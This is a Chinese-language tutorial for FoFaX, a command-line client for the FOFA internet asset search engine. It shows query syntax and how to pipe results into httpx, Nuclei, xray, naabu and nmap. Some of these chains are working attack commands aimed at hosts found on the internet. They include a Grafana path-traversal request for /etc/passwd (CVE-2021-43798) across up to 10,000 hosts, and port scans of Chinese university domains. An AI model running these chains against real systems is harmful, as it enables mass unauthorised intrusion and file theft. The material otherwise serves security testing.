fofax使用教程
一、FoFaX介绍
1、官网使用教程:简介 | FoFaX (xiecat.fun)
2、fofax:FoFaX 是一款使用 Go 编写的命令行 FoFa 查询工具,在支持 FoFa 查询规则上增加了 Fx 语法来方便使用者编写自己的规则,并且内置了一些常用的规则,除此之外还有联动其他安全产品在内的其他多个实用功能。主要的功能如下:
- 基本 FoFa 语法查询
- 联动其他安全工具
- 内置大量 FoFa 规则
- Icon Hash 本地/在线计算查询
- URL 证书计算查询
- 排除国内资产
- 一键浏览器中打开
- 更多(等待您使用后的反馈)……
除此之外还可以自定义 Fx 语法查询,用户可以通过 yaml 格式的配置文件编写自己的特定 Fx 查询规则。
二、基本使用
易错点:
- 1、必看-------统一用powershell来运行
- 2、所有的查询命令都用单引号 引起来
- 3、推荐使用管道符的方式来查询
3、常用命令:
-
常规查询(默认查询数量:100个):echo 'app="APACHE-Solr"' | .\fofax
-
指定数量查询(后面的5就代表查询的条数):echo 'app="APACHE-Solr"' | .\fofax -fs 5
-
获取url(获取的资产带协议):参数: -ffi --*--推荐
- echo 'app="APACHE-Solr"' | .\fofax -ffi -fs 5
-
获取标题:-fto
-
echo 'domain="baidu.com" && status_code="200"' | .\fofax -fs 10 -fto
-
4、3种语句查询方式
-
1、从管道中查询,也就是上面的常规查询----------推荐使用管道
-
echo 'app="APACHE-Solr"' | .\fofax -fs 10
-
-
2、从参数中查询
-
.\fofax -q 'app="APACHE-Solr"' -fs 10
-
-
3、从文件中查询:query.txt保存的是fofa的查询语句
-
.\fofax -qf query.txt -fs 10
-
-
4、从Fx中查询:Fx是fofax特有的规则,也可以和正常的fofa语句组合使用
-
易错点:使用Fx语句必须要加 -fe 参数
-
命令:
-
从管道中查询:推荐使用管道
-
echo 'fx="fx-2021-1015" && country!="CN"' | .\fofax -fe -fs 10
-
-
从参数中查询:
-
.\fofax -q 'fx="fx-2021-1015" && country="CN"' -fe -fs 10 -e
-
-
列出所有的Fx规则
- .\fofax -l
-
搜索Fx规则
- .\fofax -s 'unauth'
-
查看规则详情
-
fofax -ss "fx规则编号"
-
-
列出所有的tag:也就是规则针对的资产
- .\fofax -lt
-
自定义Fx规则:编写 Fx 语句 | FoFaX (xiecat.fun)
-
-
三、和其他安全工具的联动
1、联动httpx
基本原理:获取的数据,用管道符传给httpx,然后让httpx访问指定路径,并返回对应的状态码
命令示例:
-
echo 'app="Grafana"' | fofax -fs 10000 -ffi | httpx -status-code -path "/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd" -mc 200 -ms 'root:x:0:0'
-status-code 表示显示状态码
-mc 表示匹配的状态码
-ms 表示匹配指定的字符串
-path 表示要探测的路径
应用意义:通过这个方法批量的进行get型的poc检测
2、联动Nuclei
基本原理:获取的数据,用管道符传给Nuclei,然后让Nuclei调用漏洞模块来进行检测
命令示例:
-
echo 'app="Grafana"' | fofax -fs 10000 -ffi | nuclei -t nuclei-templates/cves/2021/CVE-2021-43798.yaml
3、fofax+httpx+Nuclei
echo 'app="kubernetes"' | fofax | httpx | nuclei -t ~/nuclei-templates/misconfiguration/kubernetes/kubernetes-pods.yaml
#根据fx规则,提取资产,给httpx,然后nuclei扫描
echo 'fx=kubernetes' | fofax -fe | httpx | nuclei -t ~/nuclei-templates/misconfiguration/kubernetes/kubernetes-pods.yaml
#根据fx规则,提取url,然后让nuclei扫描
echo 'fx=kubernetes' | fofax -fe -ffi | nuclei -t ~/nuclei-templates/misconfiguration/kubernetes/kubernetes-pods.yaml
4、联动xray
检测shiro
echo 'header="rememberme=deleteMe" || header="shiroCookie"' | fofax -fs 100 -e -ec | httpx -o shiro.txt && xray ws ss --uf shiro.txt
5、联动指纹识别
1、联动ObserverWard 指纹
echo 'login' | fofax -fs 100 -ec -ffi | ./observer_ward_darwin --stdin
2、联动dismap
./dismap -file <(echo 'title="login"' | fofax -fs 10 -ffi)
6、联动端口扫描
1、联动Naabu
echo '(title="职业学院" || title="大学" || title="职业技术学院" || title="学院") && country="CN"' | fofax -ff 'domain' -fs 10 | naabu
2、联动Nmap
linux下的联动
nmap -iL <(echo 'app="APACHE-Solr"' | fofax -fs 10 -ff ip)
windows下的联动
echo 'app="APACHE-Solr"' | fofax -fs 1 -ff ip > targets.txt && nmap -iL targets.txt
7、联动sylas扩充fofa数据
sylas -q 'app="APACHE-Solr"'|fofax -ff "host,lastupdatetime" -fs 10000